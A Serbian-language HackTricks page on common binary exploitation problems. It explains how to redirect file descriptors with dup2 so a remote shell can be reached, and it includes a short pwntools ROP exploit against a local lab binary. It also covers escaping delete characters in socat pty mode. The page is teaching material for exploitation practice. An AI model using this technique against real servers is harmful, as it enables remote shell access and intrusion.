hacktricks/binary-exploitation/common-exploiting-problems.md

4.1 KiB

Česti problemi eksploatacije

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

FD-ovi u udaljenoj eksploataciji

Kada pošaljete eksploit na udaljeni server koji poziva system('/bin/sh') na primer, to će biti izvršeno u serverskom procesu, a /bin/sh će očekivati ulaz sa stdin (FD: 0) i ispisivati izlaz na stdout i stderr (FD-ovi 1 i 2). Zbog toga napadač neće moći da interaguje sa shell-om.

Način da se ovo reši je pretpostaviti da je kada je server pokrenut, kreirao FD broj 3 (za osluškivanje) i da će zatim, vaša veza biti na FD broju 4. Stoga je moguće koristiti sistemski poziv dup2 da duplicira stdin (FD 0) i stdout (FD 1) u FD 4 (onaj koji pripada vezi napadača) kako bi bilo moguće kontaktirati shell nakon što se izvrši.

Primer eksploatacije odavde:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Imajte na umu da socat već prenosi stdin i stdout na socket. Međutim, režim pty uključuje DELETE karaktere. Dakle, ako pošaljete \x7f (DELETE -) obrišće prethodni karakter vašeg eksploata.

Da biste zaobišli ovo, bežični karakter \x16 mora biti dodat na bilo koji \x7f koji se šalje.

Ovde možete pronaći primer ovog ponašanja.

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!